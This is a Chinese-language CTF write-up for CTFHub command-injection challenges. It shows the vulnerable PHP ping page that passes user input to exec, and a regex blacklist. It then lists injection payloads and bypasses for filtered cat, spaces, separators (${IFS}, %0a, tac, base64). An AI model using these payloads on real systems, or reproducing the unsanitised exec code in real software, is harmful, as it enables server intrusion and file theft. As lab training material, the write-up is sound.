命令执行合集
知识点:NSLOOKUP命令主要用于查询DNS信息,包括域名的IP地址、DNS服务器信息等。
PING命令主要用于测试网络连接的可达性和计算到目标主机的往返时间。
两者的恶意注入结构是相似的
简单解释一下
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {#判断get传入ip是否为空值
$cmd = "ping -c 4 {$_GET['ip']}";#将ip拼入cmd中,形成ping格式(ping -c 4 +ip
注:4是回显请求的数量)
exec($cmd, $res);#执行ping,并将结果作为数组赋值给$res
}
?>
<!DOCTYPE html>
<html>
<head>
<title>CTFHub 命令注入-无过滤</title>
</head>
<body>
<h1>CTFHub 命令注入-无过滤</h1>
<form action="#" method="GET">
<label <span style="color: #0000ff;">for</span>="ip">IP : </label><br>
<input type="text" id="ip" name="ip">
<input type="submit" value="Ping">
</form>
<hr>
<pre>
<?<span style="color: #000000;">php
</span><span style="color: #0000ff;">if</span> (<span style="color: #800080;">$res</span>) {<span style="color: #008000;">#</span><span style="color: #008000;">如果$res存在的话就将其输出(刚开始不是将res赋值了个false嘛,</span>
也就是说如果exec没有正常执行的话,就无法输出)
</span><span style="color: #008080;">print_r</span>(<span style="color: #800080;">$res</span><span style="color: #000000;">);
}
</span>?>
</pre>
<?<span style="color: #000000;">php
</span><span style="color: #008080;">show_source</span>(<span style="color: #ff00ff;">__FILE__</span><span style="color: #000000;">);
</span>?>
</body>
</html>
payload:127.0.0.1;cat <文件名>
用ls来查询所有文件
f12找flag
过滤cat
一、解题思路
当cat被过滤后,可以使用一下命令进行读取文件的内容
(1)more:一页一页的显示的显示档案内容
(2)less:与more类似,但是比more更好的是,他可以[pg dn][pg up]翻页
(3)head:查看头几行
(4)tac:从最后一行开始显示,可以看出tac是cat的反向显示
(5)tail:查看尾几行
(6)nl:显示的时候,顺便输出行号
(7)od:以二进制的方式读取档案内容
(8)vi:一种编辑器,这个也可以查看
(9)vim:一种编辑器,这个也可以查看
(10)sort:可以查看
(11)uniq:可以查看
(12)file -f:报错出具体的内容
第二个直接改就可以
过滤空格
当空格被过滤后,可以使用一下命令进行读取文件的内容
< <> >重定向符
%09(需要php环境)tab键
%0a(换行符)
${IFS}
$IFS$9
${PATH:0:1}
过滤分隔符
直接写出payload:127.0.0.1;cd flag_is_here;cat flag_31961112137507.php
;可以用& && || | ;%0a代替
也能看出要进行多次注入需要用;分开,一句一句进行。
过滤运算符
不写了,和上面没区别
综合过滤
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>
插一个正则表达式知识点:
1. 正则表达式字符解析
○ /:在这个表达式中,它是正则表达式的定界符。正则表达式通常被包含在一对定界符之间,这里使用/作为定界符。
○ \:转义字符。在正则表达式中,一些字符有特殊含义(元字符),如果要匹配这些字符本身,就需要用转义字符\。
○ |:在正则表达式中,|表示逻辑“或”。在这里,它用于分隔不同的要匹配的字符或字符串,例如(\||&|;| |\/|cat|flag|ctfhub)表示匹配|或者&或者;或者空格或者/或者cat或者flag或者ctfhub中的任意一个。
○ &:这是一个要匹配的字符,本身没有特殊的正则表达式含义(因为已经用\转义了可能与它冲突的情况),在这里就是要在目标字符串中匹配&这个字符。
○ ;:和&类似,是一个要匹配的普通字符,在目标字符串中匹配;这个字符。
○ (空格):要匹配目标字符串中的空格字符。
○ \/:因为/是正则表达式的定界符,所以如果要匹配/字符本身,需要用\转义,这里\/就是要匹配/这个字符。
○ cat:这是一个字符串字面量,要在目标字符串中匹配cat这个字符串。
○ flag:同样是一个字符串字面量,要在目标字符串中匹配flag这个字符串。
○ ctfhub:这也是一个字符串字面量,要在目标字符串中匹配ctfhub这个字符串。
○ 最后的/:是与开头的/相匹配的定界符,用于结束正则表达式。
○ ()用来分组可以改变匹配的顺序
这个题个人认为最难的点是过滤了;和逻辑运算符但上面可以用换行键%0a
base64能直接拿到结果
tac则需要去元素里找
323b18bc-4245-4fc2-82d0-55e0bf1ac87c

浙公网安备 33010602011771号